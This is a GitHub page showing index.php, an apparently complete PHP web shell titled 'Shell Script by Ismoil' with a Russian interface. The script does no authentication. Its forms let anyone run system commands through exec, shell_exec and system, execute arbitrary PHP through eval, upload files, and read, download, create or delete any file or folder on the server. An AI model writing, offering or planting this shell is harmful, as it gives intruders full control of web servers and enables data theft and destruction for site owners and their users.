-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.php
More file actions
313 lines (275 loc) · 10.3 KB
/
index.php
File metadata and controls
313 lines (275 loc) · 10.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
<?php
$locale='ru_RU.UTF-8';
setlocale(LC_ALL,$locale);
putenv('LC_ALL='.$locale);
if(array_key_exists('download_file', $_GET)) {
if(!empty($_GET['download_file_input'])){
$file_url = $_GET['download_file_input'];
header('Content-Description: File Transfer');
header('Content-Transfer-Encoding: binary');
header('Content-type: '.$mime);
header('Content-Disposition: attachment; filename='.$file_url);
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: '.filesize($file_url));
ob_clean();
flush();
readfile($file_url);
}
}
if(array_key_exists('read_file', $_GET)) {
if(!empty($_GET['read_file_input'])){
$result = urlencode(file_get_contents($_GET['read_file_input']));
header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
exit();
}
}
if(array_key_exists('remove_file', $_GET)) {
if(!empty($_GET['remove_file_input'])){
if(unlink($_GET['remove_file_input'])){
$result = urlencode("Успешно удалено");
header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
exit();
}
}
}
if(array_key_exists('create_file', $_GET)) {
if(!empty($_GET['create_file_input'])){
$f = fopen($_GET['create_file_input'], "a");
fwrite($f, $_GET['create_file_content']);
fclose($f);
$result = urlencode("Успешно создан файл");
header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
exit();
}
}
if(array_key_exists('download_folder', $_GET)) {
if(!empty($_GET['download_folder_input'])){
$rootPath = realpath($_GET['download_folder_input']);
$zip = new ZipArchive();
$zip->open('file.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
/** @var SplFileInfo[] $files */
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($rootPath),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $name => $file)
{
if (!$file->isDir())
{
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($rootPath) + 1);
$zip->addFile($filePath, $relativePath);
}
}
$zip->close();
$file_url = "file.zip";
header('Content-Description: File Transfer');
header('Content-Transfer-Encoding: binary');
header('Content-type: '.$mime);
header('Content-Disposition: attachment; filename='.$file_url);
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: '.filesize($file_url));
ob_clean();
flush();
readfile($file_url);
}
}
if(array_key_exists('runcode', $_GET)) {
if(!empty($_GET['runcode_input'])){
eval(($_GET['runcode_input']));
// $result = urlencode("Код успешно был выполнен");
// header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
}
}
// Получаем файл
if(!empty($_FILES)) {
$uploaddir = getcwd().'\\';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
$result = urlencode("Файл был успешно загружен");
header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
exit();
}
if(array_key_exists('getdir_content', $_GET)) {
if(!empty($_GET['getdir_content_input'])){
$dir = $_GET['getdir_content_input'];
$result = urlencode(implode("<br>", scandir($dir)));
header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
exit();
}
}
if(array_key_exists('shell', $_GET)) {
if(!empty($_GET['shell_input'])){
if($_GET['shell_type'] == 'exec'){
exec($_GET['shell_input'], $output);
$result = urlencode(implode("<br>", $output));
header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
exit();
} elseif($_GET['shell_type'] == 'shell_exec'){
$r = shell_exec($_GET['shell_input']);
$result = urlencode("Команда выполнена<br><br><br>".$r);
header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
exit();
} elseif($_GET['shell_type'] == 'system') {
$r = system($_GET['shell_input']);
$result = urlencode("Команда выполнена<br><br><br>".$r);
header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
exit();
}
}
}
if(array_key_exists('remove_folder', $_GET)) {
if(!empty($_GET['remove_folder_input'])){
$dir = $_GET['remove_folder_input'];
$d=opendir($dir);
while(($entry=readdir($d))!==false)
{
if ($entry != "." && $entry != "..")
{
if (is_dir($dir."/".$entry))
{
dirDel($dir."/".$entry);
}
else
{
unlink($dir."/".$entry);
}
}
}
closedir($d);
rmdir ($dir);
$result = urlencode("Папка успешно удалена!");
header("Refresh: 1; url = {$_SERVER['SCRIPT_NAME']}?result={$result}");
exit();
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Shell Script by Ismoil</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #000;
}
form {
display: flex;
flex-direction: column;
align-items: center;
margin: 50px auto;
padding: 20px;
background: none;
border-radius: 10px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
max-width: 500px;
border: 3px solid #008000;
}
input,
textarea, select {
display: block;
margin: 10px 0;
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
width: 100%;
box-sizing: border-box;
outline: none;
background: none;
color: #008000;
border: 1px solid #008000;
border-radius: 7px;
}
button {
padding: 10px 20px;
background: none;
color: #008000;
border: none;
border-radius: 5px;
cursor: pointer;
transition: 0.3s ease;
border: 1px solid #008000;
}
button:hover {
background: #008000;
color: #000;
}
input[type="file"] {
margin: 10px 0;
}
.console {
background-color: #2b2b2b;
color: #fff;
font-family: monospace;
font-size: 14px;
padding: 10px;
border-radius: 3px;
box-shadow: 0 0 5px #000;
}
</style>
</head>
<body>
<div class="console">
<input type="text" value="<?= getcwd(); ?>" readonly>
<?php
if(isset($_GET['result'])){
echo urldecode($_GET['result']);
}
?>
</div>
<form method="GET">
<input type="text" placeholder="Выполнить CMD команду" name="shell_input">
<select name="shell_type" id="">
<option value="exec">exec</option>
<option value="shell_exec">shell_exec</option>
<option value="system">system</option>
</select>
<button type="submit" name="shell">Выполнить</button>
</form>
<form method="GET">
<input type="text" placeholder="Директория файла" name="download_file_input">
<button type="submit" name="download_file">Скачать файл</button>
</form>
<form method="GET">
<input type="text" placeholder="Директория файла" name="read_file_input">
<button type="submit" name="read_file">Прочитать файл</button>
</form>
<form method="GET">
<input type="text" placeholder="Имя файла" name="remove_file_input">
<button type="submit" name="remove_file">Удалить файл</button>
</form>
<form method="GET">
<input type="text" placeholder="Имя файла" name="create_file_input">
<textarea name="create_file_content" id="" cols="30" rows="10" placeholder="Содержание файла"></textarea>
<button type="submit" name="create_file">Создать файл</button>
</form>
<form method="GET">
<input type="text" placeholder="Директория папки" name="download_folder_input">
<button type="submit" name="download_folder">Скачать папку</button>
</form>
<form method="GET">
<input type="text" placeholder="Директория папки" name="remove_folder_input">
<button type="submit" name="remove_folder">Удалить папку</button>
</form>
<form method="GET">
<input type="text" placeholder="Директория" name="getdir_content_input">
<button type="submit" name="getdir_content">Получить содержание директории</button>
</form>
<form method="GET">
<textarea name="runcode_input" id="" cols="30" rows="10" placeholder="Код..."></textarea>
<button type="submit" name="runcode">Выполнить PHP код</button>
</form>
<form method="post" enctype="multipart/form-data">
Выберите файл:
<input type="file" name="userfile" id="fileToUpload">
<input type="submit" value="Загрузить" name="submit">
</form>
</body>
</html>